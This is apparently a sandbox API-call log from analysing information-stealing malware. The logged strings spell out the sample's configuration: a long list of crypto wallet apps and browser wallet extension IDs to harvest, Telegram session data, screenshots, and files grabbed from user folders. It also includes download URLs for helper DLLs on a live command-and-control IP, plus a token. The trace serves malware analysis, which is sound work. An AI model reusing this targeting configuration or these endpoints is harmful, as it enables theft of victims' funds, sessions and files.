Settings\nwlts_exodus:Exodus;26;exodus;*;*partitio*,*cache*,*dictionar*\nwlts_atomic:Atomic;26;atomic;*;*cache*,*IndexedDB*\nwlts_jaxxl:JaxxLiberty;26;com.liberty.jaxx;*;*cache*\nwlts_binance:Binance;26;Binance;*app-store.*;-\nwlts_coinomi:Coinomi;28;Coinomi\\Coinomi\\wallets;*;-\nwlts_electrum:Electrum;26;Electrum\\wallets;*;-\nwlts_elecltc:Electrum-LTC;26;Electrum-LTC\\wallets;*;-\nwlts_elecbch:ElectronCash;26;ElectronCash\\wallets;*;-\nwlts_guarda:Guarda;26;Guarda;*;*cache*,*IndexedDB*\nwlts_green:BlockstreamGreen;28;Blockstream\\Green;*;cache,gdk,*logs*\nwlts_ledger:Ledger Live;26;Ledger Live;*;*cache*,*dictionar*,*sqlite*\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_meta:nkbihfbeogaeaoehlefnkodbefgpgknn;MetaMask;Local Extension Settings\nsstmnfo_System Info.txt:System Information: \n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3") returned 5204 [0258.505] lstrlenW (lpString="libs_msvcp140:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/msvcp140.dll\nlibs_vcruntime140:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/vcruntime140.dll\nlibs_mozglue:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/mozglue.dll\nlibs_freebl3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/freebl3.dll\nlibs_softokn3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/softokn3.dll\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_tronl:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\nlibs_sqlite3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/sqlite3.dll\news_bsc:fhbohimaelbohpjbbldcngcnapndodjp;BinanceChain;Local Extension Settings\news_ronin:fnjhmkhhmkbjkkabndcnnogagogbneec;Ronin;Local Extension Settings\nwlts_exodus:Exodus;26;exodus;*;*partitio*,*cache*,*dictionar*\nwlts_atomic:Atomic;26;atomic;*;*cache*,*IndexedDB*\nwlts_jaxxl:JaxxLiberty;26;com.liberty.jaxx;*;*cache*\nwlts_binance:Binance;26;Binance;*app-store.*;-\nwlts_coinomi:Coinomi;28;Coinomi\\Coinomi\\wallets;*;-\nwlts_electrum:Electrum;26;Electrum\\wallets;*;-\nwlts_elecltc:Electrum-LTC;26;Electrum-LTC\\wallets;*;-\nwlts_elecbch:ElectronCash;26;ElectronCash\\wallets;*;-\nwlts_guarda:Guarda;26;Guarda;*;*cache*,*IndexedDB*\nwlts_green:BlockstreamGreen;28;Blockstream\\Green;*;cache,gdk,*logs*\nwlts_ledger:Ledger Live;26;Ledger Live;*;*cache*,*dictionar*,*sqlite*\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_meta:nkbihfbeogaeaoehlefnkodbefgpgknn;MetaMask;Local Extension Settings\nsstmnfo_System Info.txt:System Information: \n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3") returned 5204 [0258.505] LocalAlloc (uFlags=0x40, uBytes=0x28a8) returned 0x6b9720 [0258.505] lstrlenW (lpString="libs_msvcp140:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/msvcp140.dll\nlibs_vcruntime140:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/vcruntime140.dll\nlibs_mozglue:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/mozglue.dll\nlibs_freebl3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/freebl3.dll\nlibs_softokn3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/softokn3.dll\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_tronl:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\nlibs_sqlite3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/sqlite3.dll\news_bsc:fhbohimaelbohpjbbldcngcnapndodjp;BinanceChain;Local Extension Settings\news_ronin:fnjhmkhhmkbjkkabndcnnogagogbneec;Ronin;Local Extension Settings\nwlts_exodus:Exodus;26;exodus;*;*partitio*,*cache*,*dictionar*\nwlts_atomic:Atomic;26;atomic;*;*cache*,*IndexedDB*\nwlts_jaxxl:JaxxLiberty;26;com.liberty.jaxx;*;*cache*\nwlts_binance:Binance;26;Binance;*app-store.*;-\nwlts_coinomi:Coinomi;28;Coinomi\\Coinomi\\wallets;*;-\nwlts_electrum:Electrum;26;Electrum\\wallets;*;-\nwlts_elecltc:Electrum-LTC;26;Electrum-LTC\\wallets;*;-\nwlts_elecbch:ElectronCash;26;ElectronCash\\wallets;*;-\nwlts_guarda:Guarda;26;Guarda;*;*cache*,*IndexedDB*\nwlts_green:BlockstreamGreen;28;Blockstream\\Green;*;cache,gdk,*logs*\nwlts_ledger:Ledger Live;26;Ledger Live;*;*cache*,*dictionar*,*sqlite*\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_meta:nkbihfbeogaeaoehlefnkodbefgpgknn;MetaMask;Local Extension Settings\nsstmnfo_System Info.txt:System Information: \n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3") returned 5204 [0258.505] LocalAlloc (uFlags=0x40, uBytes=0x28a8) returned 0x6bbfd0 [0258.505] lstrlenW (lpString="libs_msvcp140:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/msvcp140.dll\nlibs_vcruntime140:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/vcruntime140.dll\nlibs_mozglue:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/mozglue.dll\nlibs_freebl3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/freebl3.dll\nlibs_softokn3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/softokn3.dll\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_tronl:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\nlibs_sqlite3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/sqlite3.dll\news_bsc:fhbohimaelbohpjbbldcngcnapndodjp;BinanceChain;Local Extension Settings\news_ronin:fnjhmkhhmkbjkkabndcnnogagogbneec;Ronin;Local Extension Settings\nwlts_exodus:Exodus;26;exodus;*;*partitio*,*cache*,*dictionar*\nwlts_atomic:Atomic;26;atomic;*;*cache*,*IndexedDB*\nwlts_jaxxl:JaxxLiberty;26;com.liberty.jaxx;*;*cache*\nwlts_binance:Binance;26;Binance;*app-store.*;-\nwlts_coinomi:Coinomi;28;Coinomi\\Coinomi\\wallets;*;-\nwlts_electrum:Electrum;26;Electrum\\wallets;*;-\nwlts_elecltc:Electrum-LTC;26;Electrum-LTC\\wallets;*;-\nwlts_elecbch:ElectronCash;26;ElectronCash\\wallets;*;-\nwlts_guarda:Guarda;26;Guarda;*;*cache*,*IndexedDB*\nwlts_green:BlockstreamGreen;28;Blockstream\\Green;*;cache,gdk,*logs*\nwlts_ledger:Ledger Live;26;Ledger Live;*;*cache*,*dictionar*,*sqlite*\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_meta:nkbihfbeogaeaoehlefnkodbefgpgknn;MetaMask;Local Extension Settings\nsstmnfo_System Info.txt:System Information: \n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3") returned 5204 [0258.505] LocalAlloc (uFlags=0x40, uBytes=0x28a8) returned 0x6be880 [0258.505] StrStrW (lpFirst="libs_msvcp140:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/msvcp140.dll\nlibs_vcruntime140:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/vcruntime140.dll\nlibs_mozglue:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/mozglue.dll\nlibs_freebl3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/freebl3.dll\nlibs_softokn3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/softokn3.dll\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_tronl:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\nlibs_sqlite3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/sqlite3.dll\news_bsc:fhbohimaelbohpjbbldcngcnapndodjp;BinanceChain;Local Extension Settings\news_ronin:fnjhmkhhmkbjkkabndcnnogagogbneec;Ronin;Local Extension Settings\nwlts_exodus:Exodus;26;exodus;*;*partitio*,*cache*,*dictionar*\nwlts_atomic:Atomic;26;atomic;*;*cache*,*IndexedDB*\nwlts_jaxxl:JaxxLiberty;26;com.liberty.jaxx;*;*cache*\nwlts_binance:Binance;26;Binance;*app-store.*;-\nwlts_coinomi:Coinomi;28;Coinomi\\Coinomi\\wallets;*;-\nwlts_electrum:Electrum;26;Electrum\\wallets;*;-\nwlts_elecltc:Electrum-LTC;26;Electrum-LTC\\wallets;*;-\nwlts_elecbch:ElectronCash;26;ElectronCash\\wallets;*;-\nwlts_guarda:Guarda;26;Guarda;*;*cache*,*IndexedDB*\nwlts_green:BlockstreamGreen;28;Blockstream\\Green;*;cache,gdk,*logs*\nwlts_ledger:Ledger Live;26;Ledger Live;*;*cache*,*dictionar*,*sqlite*\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_meta:nkbihfbeogaeaoehlefnkodbefgpgknn;MetaMask;Local Extension Settings\nsstmnfo_System Info.txt:System Information: \n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension 